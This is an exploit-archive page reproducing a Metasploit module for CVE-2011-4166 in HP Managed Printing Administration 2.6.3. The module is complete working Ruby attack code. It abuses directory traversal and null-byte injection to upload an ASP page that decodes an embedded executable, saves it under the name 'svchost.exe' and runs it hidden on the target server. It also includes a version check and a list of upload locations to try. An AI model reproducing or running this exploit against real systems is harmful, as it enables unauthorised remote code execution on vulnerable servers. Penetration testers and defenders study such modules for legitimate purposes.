HP Managed Printing Administration jobAcct Remote Command Execution



EKU-ID: 3373 CVE: 2011-4166 OSVDB-ID: 78015
Author: juan vazquez Published: 2013-07-19 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::EXE

	def initialize
		super(
			'Name'        => 'HP Managed Printing Administration jobAcct Remote Command Execution',
			'Description'    => %q{
				This module exploits an arbitrary file upload vulnerability on HP Managed Printing
				Administration 2.6.3 (and before). The vulnerability exists in the UploadFiles()
				function from the MPAUploader.Uploader.1 control, loaded and used by the server.
				The function can be abused via directory traversal and null byte injection in order
				to achieve arbitrary file upload.  In order to exploit successfully, a few conditions
				must be met: 1) A writable location under the context of Internet Guest Account
				(IUSR_*), or Everyone is required. By default, this module will attempt to write to
				/hpmpa/userfiles/, but you may specify the WRITEWEBFOLDER datastore option to provide
				another writable path. 2)  The writable path must also be readable by a browser,
				this typically means a location under wwwroot. 3) You cannot overwrite a file with
				the same name as the payload.
			},
			'Author'      => [
				'Andrea Micalizzi', # aka rgod - Vulnerability Discovery
				'juan vazquez' # Metasploit module
			],
			'Platform'    => 'win',
			'References'  =>
				[
					['CVE', '2011-4166'],
					['OSVDB', '78015'],
					['BID', '51174'],
					['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-352/'],
					['URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03128469']
				],
			'Targets'     =>
				[
					[ 'HP Managed Printing Administration 2.6.3 / Microsoft Windows [XP SP3 | Server 2003 SP2]', { } ],
				],
			'DefaultTarget'  => 0,
			'Privileged'     => false,
			'DisclosureDate' => 'Dec 21 2011'
		)

		register_options(
			[
				OptString.new('WRITEWEBFOLDER', [ false,  "Additional Web location with file write permissions for IUSR_*" ])
			], self.class)
	end

	def peer
		return "#{rhost}:#{rport}"
	end

	def webfolder_uri
		begin
			u = datastore['WRITEWEBFOLDER']
			u = "/" if u.nil? or u.empty?
			URI(u).to_s
		rescue ::URI::InvalidURIError
			print_error "Invalid URI: #{datastore['WRITEWEBFOLDER'].inspect}"
			return "/"
		end
	end

	def to_exe_asp(exes = '')

		var_func    = Rex::Text.rand_text_alpha(rand(8)+8)
		var_stream  = Rex::Text.rand_text_alpha(rand(8)+8)
		var_obj     = Rex::Text.rand_text_alpha(rand(8)+8)
		var_shell   = Rex::Text.rand_text_alpha(rand(8)+8)
		var_tempdir = Rex::Text.rand_text_alpha(rand(8)+8)
		var_tempexe = Rex::Text.rand_text_alpha(rand(8)+8)
		var_basedir = Rex::Text.rand_text_alpha(rand(8)+8)

		var_f64name   = Rex::Text.rand_text_alpha(rand(8)+8)
		arg_b64string = Rex::Text.rand_text_alpha(rand(8)+8)
		var_length    = Rex::Text.rand_text_alpha(rand(8)+8)
		var_out       = Rex::Text.rand_text_alpha(rand(8)+8)
		var_group     = Rex::Text.rand_text_alpha(rand(8)+8)
		var_bytes     = Rex::Text.rand_text_alpha(rand(8)+8)
		var_counter   = Rex::Text.rand_text_alpha(rand(8)+8)
		var_char      = Rex::Text.rand_text_alpha(rand(8)+8)
		var_thisdata  = Rex::Text.rand_text_alpha(rand(8)+8)
		const_base64  = Rex::Text.rand_text_alpha(rand(8)+8)
		var_ngroup    = Rex::Text.rand_text_alpha(rand(8)+8)
		var_pout      = Rex::Text.rand_text_alpha(rand(8)+8)

		vbs = "<%\r\n"

		# ASP Base64 decode from Antonin Foller http://www.motobit.com/tips/detpg_base64/
		vbs << "Function #{var_f64name}(ByVal #{arg_b64string})\r\n"
		vbs << "Const #{const_base64} = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"\r\n"
		vbs << "Dim #{var_length}, #{var_out}, #{var_group}\r\n"
		vbs << "#{arg_b64string} = Replace(#{arg_b64string}, vbCrLf, \"\")\r\n"
		vbs << "#{arg_b64string} = Replace(#{arg_b64string}, vbTab, \"\")\r\n"
		vbs << "#{arg_b64string} = Replace(#{arg_b64string}, \" \", \"\")\r\n"
		vbs << "#{var_length} = Len(#{arg_b64string})\r\n"
		vbs << "If #{var_length} Mod 4 <> 0 Then\r\n"
		vbs << "Exit Function\r\n"
		vbs << "End If\r\n"
		vbs << "For #{var_group} = 1 To #{var_length} Step 4\r\n"
		vbs << "Dim #{var_bytes}, #{var_counter}, #{var_char}, #{var_thisdata}, #{var_ngroup}, #{var_pout}\r\n"
		vbs << "#{var_bytes} = 3\r\n"
		vbs << "#{var_ngroup} = 0\r\n"
		vbs << "For #{var_counter} = 0 To 3\r\n"
		vbs << "#{var_char} = Mid(#{arg_b64string}, #{var_group} + #{var_counter}, 1)\r\n"
		vbs << "If #{var_char} = \"=\" Then\r\n"
		vbs << "#{var_bytes} = #{var_bytes} - 1\r\n"
		vbs << "#{var_thisdata} = 0\r\n"
		vbs << "Else\r\n"
		vbs << "#{var_thisdata} = InStr(1, #{const_base64}, #{var_char}, vbBinaryCompare) - 1\r\n"
		vbs << "End If\r\n"
		vbs << "If #{var_thisdata} = -1 Then\r\n"
		vbs << "Exit Function\r\n"
		vbs << "End If\r\n"
		vbs << "#{var_ngroup} = 64 * #{var_ngroup} + #{var_thisdata}\r\n"
		vbs << "Next\r\n"
		vbs << "#{var_ngroup} = Hex(#{var_ngroup})\r\n"
		vbs << "#{var_ngroup} = String(6 - Len(#{var_ngroup}), \"0\") & #{var_ngroup}\r\n"
		vbs << "#{var_pout} = Chr(CByte(\"&H\" & Mid(#{var_ngroup}, 1, 2))) + _\r\n"
		vbs << "Chr(CByte(\"&H\" & Mid(#{var_ngroup}, 3, 2))) + _\r\n"
		vbs << "Chr(CByte(\"&H\" & Mid(#{var_ngroup}, 5, 2)))\r\n"
		vbs << "#{var_out} = #{var_out} & Left(#{var_pout}, #{var_bytes})\r\n"
		vbs << "Next\r\n"
		vbs << "#{var_f64name} = #{var_out}\r\n"
		vbs << "End Function\r\n"

		vbs << "Sub #{var_func}()\r\n"
		vbs << "#{var_bytes} = #{var_f64name}(\"#{Rex::Text.encode_base64(exes)}\")\r\n"
		vbs << "Dim #{var_obj}\r\n"
		vbs << "Set #{var_obj} = CreateObject(\"Scripting.FileSystemObject\")\r\n"
		vbs << "Dim #{var_stream}\r\n"
		vbs << "Dim #{var_tempdir}\r\n"
		vbs << "Dim #{var_tempexe}\r\n"
		vbs << "Dim #{var_basedir}\r\n"
		vbs << "Set #{var_tempdir} = #{var_obj}.GetSpecialFolder(2)\r\n"

		vbs << "#{var_basedir} = #{var_tempdir} & \"\\\" & #{var_obj}.GetTempName()\r\n"
		vbs << "#{var_obj}.CreateFolder(#{var_basedir})\r\n"
		vbs << "#{var_tempexe} = #{var_basedir} & \"\\\" & \"svchost.exe\"\r\n"
		vbs << "Set #{var_stream} = #{var_obj}.CreateTextFile(#{var_tempexe},2,0)\r\n"
		vbs << "#{var_stream}.Write #{var_bytes}\r\n"
		vbs << "#{var_stream}.Close\r\n"
		vbs << "Dim #{var_shell}\r\n"
		vbs << "Set #{var_shell} = CreateObject(\"Wscript.Shell\")\r\n"

		vbs << "#{var_shell}.run #{var_tempexe}, 0, false\r\n"
		vbs << "End Sub\r\n"

		vbs << "#{var_func}\r\n"
		vbs << "%>\r\n"
		vbs
	end

	def upload(contents, location)
		post_data = Rex::MIME::Message.new
		post_data.add_part("upload", nil, nil, "form-data; name=\"upload\"")
		post_data.add_part(contents, "application/octet-stream", "binary", "form-data; name=\"uploadfile\"; filename=\"..\\../../wwwroot#{location}\x00.tmp\"")
		data = post_data.to_s
		data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part")

		res = send_request_cgi({
			'uri'      => normalize_uri("hpmpa", "jobAcct", "Default.asp"),
			'method'   => 'POST',
			'ctype'    => "multipart/form-data; boundary=#{post_data.bound}",
			'data'     => data,
			'encode_params' => false,
			'vars_get' => {
				'userId' => rand_text_numeric(2+rand(2)),
				'jobId'  => rand_text_numeric(2+rand(2))
				}
			})
		return res
	end

	def check
		res = send_request_cgi({'uri' => normalize_uri("hpmpa", "home", "Default.asp")})
		version = nil
		if res and res.code == 200 and res.body =~ /HP Managed Printing Administration/ and res.body =~ /<dd>v(.*)<\/dd>/
			version = $1
		else
			return Exploit::CheckCode::Safe
		end

		vprint_status("HP MPA Version Detected: #{version}")

		if version <= "2.6.3"
			return Exploit::CheckCode::Appears
		end

		return Exploit::CheckCode::Safe

	end

	def exploit
		# Generate the ASP containing the EXE containing the payload
		exe = generate_payload_exe
		# Not using Msf::Util::EXE.to_exe_asp because the generated vbs is too long and the app complains
		asp = to_exe_asp(exe)

		#
		# UPLOAD
		#
		asp_name = "#{rand_text_alpha(5+rand(3))}.asp"
		locations = [
			"/hpmpa/userfiles/images/printers/",
			"/hpmpa/userfiles/images/backgrounds/",
			"/hpmpa/userfiles/images/",
			"/hpmpa/userfiles/",
			"/"
		]

		locations << normalize_uri(webfolder_uri, asp_name) if datastore['WRITEWEBFOLDER']

		payload_url = ""

		locations.each {|location|
			asp_location = location + asp_name
			print_status("#{peer} - Uploading #{asp.length} bytes to #{location}...")
			res = upload(asp, asp_location)
			if res and res.code == 200 and res.body =~ /Results of Upload/ and res.body !~ /Object\[formFile\]/
				print_good("#{peer} - ASP Payload successfully wrote to #{location}")
				payload_url = asp_location
				break
			elsif res and res.code == 200 and res.body =~ /Results of Upload/ and res.body =~ /Object\[formFile\]/
				print_error("#{peer} - Error probably due to permissions while writing to #{location}")
			else
				print_error("#{peer} - Unknown error while while writing to #{location}")
			end
		}

		if payload_url.empty?
			fail_with(Exploit::Failure::NotVulnerable, "#{peer} - Failed to upload ASP payload to the target")
		end

		#
		# EXECUTE
		#
		print_status("#{peer} - Executing payload through #{payload_url}...")
		send_request_cgi({ 'uri' => payload_url})
	end

end